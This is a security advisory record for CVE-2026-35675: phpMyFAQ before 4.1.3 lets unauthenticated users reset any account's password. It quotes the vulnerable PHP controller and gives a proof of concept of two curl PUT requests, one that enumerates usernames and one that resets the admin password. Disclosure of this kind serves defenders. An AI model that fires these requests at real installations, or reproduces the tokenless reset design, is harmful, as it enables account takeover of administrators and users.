GHSA-W9XH-5F39-VQ89

Vulnerability from github – Published: 2026-05-20 15:46 – Updated: 2026-05-28 14:20
VLAI
Summary
phpMyFAQ: Missing Password Reset Token Allows Account Takeover via Username/Email Enumeration
Details

Summary

An authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php Lines: 56-130 The updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body:

[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]

public function updatePassword(Request $request): JsonResponse
{
    $data = json_decode($request->getContent());
    $username = trim((string) Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS));
    $email = trim((string) Filter::filterEmail($data->email));
    if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) {
        $user = ($this->currentUserFactory ?? CurrentUser::getCurrentUser(...))($this->configuration);
        $loginExist = $user->getUserByLogin($username);
        if ($loginExist && $email === $user->getUserData('email')) {
            // NO TOKEN CHECK
            // NO RATE LIMITING
            // NO EMAIL VERIFICATION
            $newPassword = $user->createPassword();
            $user->changePassword($newPassword);
            $mail->send(); // New password sent in plaintext
        }
    }
}


Root Causes:

  1. No time-limited cryptographic token required for password reset
  2. No rate limiting on the endpoint (allows unlimited username/email enumeration)
  3. No verification email sent to original address before reset
  4. New password sent in plaintext email without any confirmation step

PoC

Prerequisites: None (unauthenticated attack) Step 1 - Username/Email Enumeration (no rate limiting): Test with wrong email - reveals if user exists

curl -X PUT -H "Content-Type: application/json" \
  -d '{"username":"admin","email":"wrong@test.com"}' \
  http://target/phpmyfaq/api/user/password/update

Response: {"error":"The email doesn't exist..."} <- user exists but wrong email

OR

Response: {"error":"The user doesn't exist"} <- user doesn't exist

Step 2 - Password Reset (no token required):

curl -X PUT -H "Content-Type: application/json" \
  -d '{"username":"admin","email":"admin@target.com"}' \
  http://target/phpmyfaq/api/user/password/update

Response: {"success":"Email has been sent."} The new plaintext password is sent to admin@target.com

Step 3 - Account Takeover: Attacker now has valid credentials and can log in as SuperAdmin.

Impact

Aspect Details Vulnerability Type Authentication Bypass / Weak Password Recovery Mechanism (CWE-640) Attack Vector Network (unauthenticated HTTP request) Privileges Required None User Interaction None Scope Full administrative access to phpMyFAQ Confidentiality High - attacker gains full access to all user data and FAQ content Integrity High - attacker can modify all content and settings Availability High - attacker can lock out legitimate users Who is Impacted: - All phpMyFAQ administrators using default installations - Any organization using phpMyFAQ for internal knowledge bases - End users whose accounts could be compromised - Organizations relying on phpMyFAQ for customer support FAQs Attack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-307",
      "CWE-359",
      "CWE-640"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-20T15:46:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.\n\n\n### Details\nFile: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php\nLines: 56-130\nThe updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body:\n#[Route(path: \u0027user/password/update\u0027, name: \u0027api.private.user.password\u0027, methods: [\u0027PUT\u0027])]\n```php\npublic function updatePassword(Request $request): JsonResponse\n{\n    $data = json_decode($request-\u003egetContent());\n    $username = trim((string) Filter::filterVar($data-\u003eusername, FILTER_SANITIZE_SPECIAL_CHARS));\n    $email = trim((string) Filter::filterEmail($data-\u003eemail));\n    if ($username !== \u0027\u0027 \u0026\u0026 $username !== \u00270\u0027 \u0026\u0026 ($email !== \u0027\u0027 \u0026\u0026 $email !== \u00270\u0027)) {\n        $user = ($this-\u003ecurrentUserFactory ?? CurrentUser::getCurrentUser(...))($this-\u003econfiguration);\n        $loginExist = $user-\u003egetUserByLogin($username);\n        if ($loginExist \u0026\u0026 $email === $user-\u003egetUserData(\u0027email\u0027)) {\n            // NO TOKEN CHECK\n            // NO RATE LIMITING\n            // NO EMAIL VERIFICATION\n            $newPassword = $user-\u003ecreatePassword();\n            $user-\u003echangePassword($newPassword);\n            $mail-\u003esend(); // New password sent in plaintext\n        }\n    }\n}\n\n\n```\n\n### Root Causes:\n1. No time-limited cryptographic token required for password reset\n2. No rate limiting on the endpoint (allows unlimited username/email enumeration)\n3. No verification email sent to original address before reset\n4. New password sent in plaintext email without any confirmation step\n\n\n### PoC\nPrerequisites: None (unauthenticated attack)\nStep 1 - Username/Email Enumeration (no rate limiting):\nTest with wrong email - reveals if user exists\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"admin\",\"email\":\"wrong@test.com\"}\u0027 \\\n  http://target/phpmyfaq/api/user/password/update\n```\nResponse: {\"error\":\"The email doesn\u0027t exist...\"}  \u003c- user exists but wrong email\n\nOR\n\nResponse: {\"error\":\"The user doesn\u0027t exist\"}     \u003c- user doesn\u0027t exist\n\nStep 2 - Password Reset (no token required):\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"admin\",\"email\":\"admin@target.com\"}\u0027 \\\n  http://target/phpmyfaq/api/user/password/update\n```\n\nResponse: {\"success\":\"Email has been sent.\"}\nThe new plaintext password is sent to admin@target.com\n\nStep 3 - Account Takeover:\nAttacker now has valid credentials and can log in as SuperAdmin.\n\n\n\n### Impact\nAspect\tDetails\nVulnerability Type\tAuthentication Bypass / Weak Password Recovery Mechanism (CWE-640)\nAttack Vector\tNetwork (unauthenticated HTTP request)\nPrivileges Required\tNone\nUser Interaction\tNone\nScope\tFull administrative access to phpMyFAQ\nConfidentiality\tHigh - attacker gains full access to all user data and FAQ content\nIntegrity\tHigh - attacker can modify all content and settings\nAvailability\tHigh - attacker can lock out legitimate users\nWho is Impacted:\n- All phpMyFAQ administrators using default installations\n- Any organization using phpMyFAQ for internal knowledge bases\n- End users whose accounts could be compromised\n- Organizations relying on phpMyFAQ for customer support FAQs\nAttack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address",
  "id": "GHSA-w9xh-5f39-vq89",
  "modified": "2026-05-28T14:20:34Z",
  "published": "2026-05-20T15:46:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w9xh-5f39-vq89"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ: Missing Password Reset Token Allows Account Takeover via Username/Email Enumeration"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…